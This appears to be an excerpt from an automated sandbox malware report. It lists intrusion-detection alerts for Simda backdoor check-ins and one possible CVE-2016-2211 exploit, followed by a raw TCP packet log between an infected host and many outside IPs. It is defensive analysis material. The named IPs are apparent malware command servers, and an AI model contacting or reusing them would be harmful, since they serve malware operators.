2024-11-11T18:51:03.129382+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	52123	208.100.26.245	80	TCP
2024-11-11T18:51:03.131696+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	52125	178.162.203.226	80	TCP
2024-11-11T18:51:03.215055+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	52124	162.255.119.102	80	TCP
2024-11-11T18:51:03.250811+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	52129	18.208.156.248	80	TCP
2024-11-11T18:51:03.387344+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	52126	188.114.96.3	80	TCP
2024-11-11T18:51:03.476165+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	52133	199.59.243.227	80	TCP
2024-11-11T18:51:03.512905+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	52128	188.114.96.3	80	TCP
2024-11-11T18:51:05.390728+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	52145	44.221.84.105	80	TCP
2024-11-11T18:51:05.395317+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	52146	44.221.84.105	80	TCP
2024-11-11T18:51:05.472086+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	52147	3.94.10.34	80	TCP
2024-11-11T18:51:05.478958+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	52150	44.221.84.105	80	TCP
2024-11-11T18:51:05.495054+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	52149	208.100.26.245	80	TCP
2024-11-11T18:51:08.013364+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	52149	208.100.26.245	80	TCP
2024-11-11T18:51:08.359590+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	52163	178.162.203.226	80	TCP
2024-11-11T18:51:08.770082+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	52172	99.83.170.3	80	TCP
2024-11-11T18:51:09.031576+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	52170	91.195.240.19	80	TCP
2024-11-11T18:51:09.288928+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	53776	208.100.26.245	80	TCP
2024-11-11T18:51:09.495150+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	50218	44.221.84.105	80	TCP
2024-11-11T18:51:09.580373+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	50219	178.162.203.226	80	TCP
2024-11-11T18:51:09.643025+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	50210	99.83.170.3	443	TCP
2024-11-11T18:51:09.747199+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	50216	91.195.240.19	80	TCP
2024-11-11T18:51:09.868031+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	52171	188.114.96.3	443	TCP
2024-11-11T18:51:09.951696+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	50215	154.212.231.82	80	TCP
2024-11-11T18:51:10.410076+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	52164	199.191.50.83	80	TCP
2024-11-11T18:51:10.742762+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	52123	208.100.26.245	80	TCP
2024-11-11T18:51:11.007062+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	52128	188.114.96.3	80	TCP
2024-11-11T18:51:11.028634+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	50226	18.208.156.248	80	TCP
2024-11-11T18:51:11.169370+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	50217	199.191.50.83	80	TCP
2024-11-11T18:51:11.524536+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	50227	154.212.231.82	80	TCP
2024-11-11T18:51:12.223562+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	50234	208.100.26.245	80	TCP
2024-11-11T18:51:12.471105+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	50228	199.191.50.83	80	TCP
2024-11-11T18:51:13.389967+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	50235	3.94.10.34	80	TCP
2024-11-11T18:51:13.582954+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	50236	199.191.50.83	80	TCP
2024-11-11T18:51:13.851378+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	50239	44.221.84.105	80	TCP
2024-11-11T18:51:13.909835+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	50242	44.221.84.105	80	TCP
2024-11-11T18:51:13.940191+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	50244	178.162.203.226	80	TCP
2024-11-11T18:51:14.030524+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	50243	162.255.119.102	80	TCP
2024-11-11T18:51:14.291524+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	50238	154.212.231.82	80	TCP
2024-11-11T18:51:14.965158+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	50246	91.195.240.19	80	TCP
2024-11-11T18:51:15.357751+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	50241	199.191.50.83	80	TCP
2024-11-11T18:51:17.440468+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59192	154.212.231.82	80	TCP
2024-11-11T18:51:19.730439+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59197	199.59.243.227	80	TCP
2024-11-11T18:51:19.731431+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59198	44.221.84.105	80	TCP
2024-11-11T18:51:19.732974+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59195	44.221.84.105	80	TCP
2024-11-11T18:51:19.733944+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59199	3.94.10.34	80	TCP
2024-11-11T18:51:20.479116+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.6	59201	TCP
2024-11-11T18:51:21.480505+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59196	199.191.50.83	80	TCP
2024-11-11T18:51:22.284590+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59204	178.162.203.226	80	TCP
2024-11-11T18:51:22.296321+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59206	99.83.170.3	80	TCP
2024-11-11T18:51:22.304407+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59208	18.208.156.248	80	TCP
2024-11-11T18:51:22.316762+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59205	208.100.26.245	80	TCP
2024-11-11T18:51:22.371379+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59200	188.114.96.3	80	TCP
2024-11-11T18:51:22.403885+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59203	162.255.119.102	80	TCP
2024-11-11T18:51:22.755937+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59207	154.212.231.82	80	TCP
2024-11-11T18:51:25.660834+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59214	178.162.203.226	80	TCP
2024-11-11T18:51:25.685561+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59213	3.94.10.34	80	TCP
2024-11-11T18:51:25.685857+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59215	44.221.84.105	80	TCP
2024-11-11T18:51:25.685967+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59218	18.208.156.248	80	TCP
2024-11-11T18:51:25.689589+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59222	99.83.170.3	80	TCP
2024-11-11T18:51:25.689589+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59219	44.221.84.105	80	TCP
2024-11-11T18:51:25.691993+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59216	199.59.243.227	80	TCP
2024-11-11T18:51:25.788734+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59220	162.255.119.102	80	TCP
2024-11-11T18:51:26.029010+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59223	188.114.96.3	80	TCP
2024-11-11T18:51:26.143279+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59221	154.212.231.82	80	TCP
2024-11-11T18:51:26.702774+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59212	199.191.50.83	80	TCP
2024-11-11T18:51:27.046754+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59226	44.221.84.105	80	TCP
2024-11-11T18:51:27.128722+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59225	162.255.119.102	80	TCP
2024-11-11T18:51:32.854009+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59233	18.208.156.248	80	TCP
2024-11-11T18:51:34.292569+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59238	178.162.203.226	80	TCP
2024-11-11T18:51:34.292614+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59235	99.83.170.3	80	TCP
2024-11-11T18:51:34.292655+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59237	44.221.84.105	80	TCP
2024-11-11T18:51:34.292697+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59241	3.94.10.34	80	TCP
2024-11-11T18:51:34.334665+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59239	188.114.96.3	80	TCP
2024-11-11T18:51:34.630829+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59236	154.212.231.82	80	TCP
2024-11-11T18:51:35.819106+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59250	91.195.240.19	80	TCP
2024-11-11T18:51:36.200017+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	59240	199.191.50.83	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 11, 2024 18:50:27.946628094 CET	49714	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:50:27.951711893 CET	80	49714	18.208.156.248	192.168.2.6
Nov 11, 2024 18:50:27.952217102 CET	49714	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:50:27.961802959 CET	49715	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:50:27.962400913 CET	49714	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:50:27.966742039 CET	80	49715	3.94.10.34	192.168.2.6
Nov 11, 2024 18:50:27.966919899 CET	49715	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:50:27.967248917 CET	80	49714	18.208.156.248	192.168.2.6
Nov 11, 2024 18:50:27.969291925 CET	49715	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:50:27.974136114 CET	80	49715	3.94.10.34	192.168.2.6
Nov 11, 2024 18:50:28.355417013 CET	49716	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:50:28.360302925 CET	80	49716	199.191.50.83	192.168.2.6
Nov 11, 2024 18:50:28.360640049 CET	49716	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:50:28.364603043 CET	49716	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:50:28.369865894 CET	80	49716	199.191.50.83	192.168.2.6
Nov 11, 2024 18:50:28.382122040 CET	80	49714	18.208.156.248	192.168.2.6
Nov 11, 2024 18:50:28.382178068 CET	49714	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:50:28.387331009 CET	49714	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:50:28.388425112 CET	80	49714	18.208.156.248	192.168.2.6
Nov 11, 2024 18:50:28.388650894 CET	49714	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:50:28.392153025 CET	80	49714	18.208.156.248	192.168.2.6
Nov 11, 2024 18:50:28.394115925 CET	49717	80	192.168.2.6	23.253.46.64
Nov 11, 2024 18:50:28.394520044 CET	80	49715	3.94.10.34	192.168.2.6
Nov 11, 2024 18:50:28.394575119 CET	49715	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:50:28.396019936 CET	49715	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:50:28.399049044 CET	80	49717	23.253.46.64	192.168.2.6
Nov 11, 2024 18:50:28.399151087 CET	49717	80	192.168.2.6	23.253.46.64
Nov 11, 2024 18:50:28.399502039 CET	49717	80	192.168.2.6	23.253.46.64
Nov 11, 2024 18:50:28.400851965 CET	80	49715	3.94.10.34	192.168.2.6
Nov 11, 2024 18:50:28.400923014 CET	49715	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:50:28.400937080 CET	80	49715	3.94.10.34	192.168.2.6
Nov 11, 2024 18:50:28.404295921 CET	80	49717	23.253.46.64	192.168.2.6
Nov 11, 2024 18:50:28.409250975 CET	49718	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:28.414427996 CET	80	49718	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:28.414513111 CET	49718	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:28.415066004 CET	49718	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:28.419989109 CET	80	49718	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:28.562731981 CET	49719	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:50:28.567662001 CET	80	49719	44.221.84.105	192.168.2.6
Nov 11, 2024 18:50:28.567749977 CET	49719	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:50:28.571708918 CET	49719	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:50:28.576531887 CET	80	49719	44.221.84.105	192.168.2.6
Nov 11, 2024 18:50:28.608480930 CET	49720	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:50:28.613631010 CET	80	49720	44.221.84.105	192.168.2.6
Nov 11, 2024 18:50:28.613691092 CET	49720	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:50:28.613802910 CET	49721	80	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:28.613887072 CET	49720	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:50:28.618683100 CET	80	49721	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:28.618729115 CET	80	49720	44.221.84.105	192.168.2.6
Nov 11, 2024 18:50:28.618746996 CET	49721	80	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:28.623383999 CET	49721	80	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:28.629040956 CET	80	49721	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:28.630753994 CET	49722	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:50:28.635766029 CET	80	49722	208.100.26.245	192.168.2.6
Nov 11, 2024 18:50:28.635840893 CET	49722	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:50:28.638107061 CET	49722	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:50:28.642959118 CET	80	49722	208.100.26.245	192.168.2.6
Nov 11, 2024 18:50:28.673557043 CET	49723	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:50:28.678493977 CET	80	49723	199.59.243.227	192.168.2.6
Nov 11, 2024 18:50:28.678555965 CET	49723	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:50:28.681142092 CET	49723	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:50:28.685920000 CET	80	49723	199.59.243.227	192.168.2.6
Nov 11, 2024 18:50:28.853502035 CET	80	49717	23.253.46.64	192.168.2.6
Nov 11, 2024 18:50:28.853533983 CET	80	49717	23.253.46.64	192.168.2.6
Nov 11, 2024 18:50:28.853585958 CET	49717	80	192.168.2.6	23.253.46.64
Nov 11, 2024 18:50:28.853619099 CET	49717	80	192.168.2.6	23.253.46.64
Nov 11, 2024 18:50:28.855377913 CET	49717	80	192.168.2.6	23.253.46.64
Nov 11, 2024 18:50:28.855411053 CET	49717	80	192.168.2.6	23.253.46.64
Nov 11, 2024 18:50:28.860994101 CET	49724	80	192.168.2.6	23.253.46.64
Nov 11, 2024 18:50:28.865967035 CET	80	49724	23.253.46.64	192.168.2.6
Nov 11, 2024 18:50:28.866030931 CET	49724	80	192.168.2.6	23.253.46.64
Nov 11, 2024 18:50:28.866193056 CET	49724	80	192.168.2.6	23.253.46.64
Nov 11, 2024 18:50:28.871797085 CET	80	49724	23.253.46.64	192.168.2.6
Nov 11, 2024 18:50:28.897682905 CET	49725	80	192.168.2.6	85.17.31.122
Nov 11, 2024 18:50:28.902648926 CET	80	49725	85.17.31.122	192.168.2.6
Nov 11, 2024 18:50:28.902766943 CET	49725	80	192.168.2.6	85.17.31.122
Nov 11, 2024 18:50:28.902904034 CET	49725	80	192.168.2.6	85.17.31.122
Nov 11, 2024 18:50:28.907768965 CET	80	49725	85.17.31.122	192.168.2.6
Nov 11, 2024 18:50:28.966859102 CET	80	49721	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:28.967186928 CET	49721	80	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:28.967447996 CET	49721	80	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:28.973691940 CET	80	49721	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:28.974704981 CET	49726	80	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:28.980722904 CET	80	49726	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:28.981717110 CET	49726	80	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:28.995461941 CET	80	49719	44.221.84.105	192.168.2.6
Nov 11, 2024 18:50:28.995544910 CET	49719	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:50:28.998550892 CET	49726	80	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:29.003329992 CET	80	49719	44.221.84.105	192.168.2.6
Nov 11, 2024 18:50:29.003454924 CET	80	49726	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:29.003482103 CET	49719	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:50:29.047924995 CET	80	49720	44.221.84.105	192.168.2.6
Nov 11, 2024 18:50:29.049618006 CET	49720	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:50:29.056090117 CET	80	49720	44.221.84.105	192.168.2.6
Nov 11, 2024 18:50:29.057607889 CET	49720	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:50:29.129251003 CET	80	49722	208.100.26.245	192.168.2.6
Nov 11, 2024 18:50:29.129713058 CET	49722	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:50:29.131983995 CET	80	49718	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:29.132050037 CET	49718	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:29.132131100 CET	80	49723	199.59.243.227	192.168.2.6
Nov 11, 2024 18:50:29.132180929 CET	49723	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:50:29.132220984 CET	80	49723	199.59.243.227	192.168.2.6
Nov 11, 2024 18:50:29.132257938 CET	49723	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:50:29.315776110 CET	80	49725	85.17.31.122	192.168.2.6
Nov 11, 2024 18:50:29.316634893 CET	49725	80	192.168.2.6	85.17.31.122
Nov 11, 2024 18:50:29.330585957 CET	80	49726	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:29.332735062 CET	49726	80	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:29.336357117 CET	80	49724	23.253.46.64	192.168.2.6
Nov 11, 2024 18:50:29.336369038 CET	80	49724	23.253.46.64	192.168.2.6
Nov 11, 2024 18:50:29.336474895 CET	49724	80	192.168.2.6	23.253.46.64
Nov 11, 2024 18:50:29.361938953 CET	49724	80	192.168.2.6	23.253.46.64
Nov 11, 2024 18:50:29.361942053 CET	49726	80	192.168.2.6	75.2.71.199
Nov 11, 2024 18:50:29.363888025 CET	49720	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:50:29.368182898 CET	80	49726	75.2.71.199	192.168.2.6
Nov 11, 2024 18:50:29.368478060 CET	80	49724	23.253.46.64	192.168.2.6
Nov 11, 2024 18:50:29.368534088 CET	49724	80	192.168.2.6	23.253.46.64
Nov 11, 2024 18:50:29.368904114 CET	80	49720	44.221.84.105	192.168.2.6
Nov 11, 2024 18:50:29.564918041 CET	49725	80	192.168.2.6	85.17.31.122
Nov 11, 2024 18:50:29.570235968 CET	80	49725	85.17.31.122	192.168.2.6
Nov 11, 2024 18:50:29.771218061 CET	49719	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:50:29.777158022 CET	80	49719	44.221.84.105	192.168.2.6
Nov 11, 2024 18:50:29.830197096 CET	49728	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:50:29.834168911 CET	49729	80	192.168.2.6	85.17.31.122
Nov 11, 2024 18:50:29.835139036 CET	80	49728	154.212.231.82	192.168.2.6
Nov 11, 2024 18:50:29.835225105 CET	49728	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:50:29.835262060 CET	49722	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:50:29.835361958 CET	49728	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:50:29.839065075 CET	80	49729	85.17.31.122	192.168.2.6
Nov 11, 2024 18:50:29.839159966 CET	49729	80	192.168.2.6	85.17.31.122
Nov 11, 2024 18:50:29.839247942 CET	49729	80	192.168.2.6	85.17.31.122
Nov 11, 2024 18:50:29.840169907 CET	80	49722	208.100.26.245	192.168.2.6
Nov 11, 2024 18:50:29.840209007 CET	80	49728	154.212.231.82	192.168.2.6
Nov 11, 2024 18:50:29.844043016 CET	80	49729	85.17.31.122	192.168.2.6
Nov 11, 2024 18:50:29.861464024 CET	49730	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:29.861496925 CET	443	49730	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:29.861555099 CET	49730	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:29.938725948 CET	80	49722	208.100.26.245	192.168.2.6
Nov 11, 2024 18:50:29.938801050 CET	49722	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:50:29.958868980 CET	49730	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:29.958885908 CET	443	49730	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:30.305301905 CET	80	49716	199.191.50.83	192.168.2.6
Nov 11, 2024 18:50:30.305366993 CET	49716	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:50:30.392644882 CET	443	49730	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:30.392754078 CET	49730	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:30.453668118 CET	80	49729	85.17.31.122	192.168.2.6
Nov 11, 2024 18:50:30.453743935 CET	49729	80	192.168.2.6	85.17.31.122
Nov 11, 2024 18:50:30.453808069 CET	49729	80	192.168.2.6	85.17.31.122
Nov 11, 2024 18:50:30.456613064 CET	49730	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:30.456644058 CET	443	49730	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:30.457005978 CET	443	49730	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:30.457079887 CET	49730	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:30.459018946 CET	80	49729	85.17.31.122	192.168.2.6
Nov 11, 2024 18:50:30.461375952 CET	49730	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:30.507339954 CET	443	49730	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:30.689990997 CET	49731	80	192.168.2.6	45.79.19.196
Nov 11, 2024 18:50:30.694920063 CET	80	49731	45.79.19.196	192.168.2.6
Nov 11, 2024 18:50:30.695063114 CET	49731	80	192.168.2.6	45.79.19.196
Nov 11, 2024 18:50:30.695207119 CET	49731	80	192.168.2.6	45.79.19.196
Nov 11, 2024 18:50:30.700103998 CET	80	49731	45.79.19.196	192.168.2.6
Nov 11, 2024 18:50:30.765034914 CET	80	49728	154.212.231.82	192.168.2.6
Nov 11, 2024 18:50:30.765094042 CET	49728	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:50:30.777519941 CET	49728	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:50:30.782932997 CET	80	49728	154.212.231.82	192.168.2.6
Nov 11, 2024 18:50:31.135122061 CET	80	49728	154.212.231.82	192.168.2.6
Nov 11, 2024 18:50:31.135318995 CET	49728	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:50:31.178309917 CET	80	49731	45.79.19.196	192.168.2.6
Nov 11, 2024 18:50:31.178394079 CET	49731	80	192.168.2.6	45.79.19.196
Nov 11, 2024 18:50:31.179297924 CET	49731	80	192.168.2.6	45.79.19.196
Nov 11, 2024 18:50:31.180229902 CET	49716	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:50:31.185226917 CET	80	49731	45.79.19.196	192.168.2.6
Nov 11, 2024 18:50:31.185277939 CET	49731	80	192.168.2.6	45.79.19.196
Nov 11, 2024 18:50:31.185405970 CET	80	49716	199.191.50.83	192.168.2.6
Nov 11, 2024 18:50:31.277348995 CET	443	49730	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:31.277405024 CET	49730	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:31.277437925 CET	443	49730	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:31.277484894 CET	443	49730	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:31.277507067 CET	49730	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:31.277514935 CET	443	49730	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:31.277520895 CET	49730	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:31.277575016 CET	49730	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:31.277580976 CET	443	49730	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:31.277620077 CET	443	49730	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:31.277652025 CET	443	49730	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:31.277664900 CET	49730	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:31.277671099 CET	443	49730	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:31.277695894 CET	49730	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:31.277718067 CET	49730	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:31.277793884 CET	443	49730	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:31.277842045 CET	49730	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:31.277848005 CET	443	49730	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:31.277889967 CET	49730	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:31.278588057 CET	49730	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:31.278613091 CET	49730	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:31.289357901 CET	49718	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:50:31.294215918 CET	80	49718	188.114.96.3	192.168.2.6
Nov 11, 2024 18:50:31.640822887 CET	80	49718	188.114.96.3	192.168.2.6
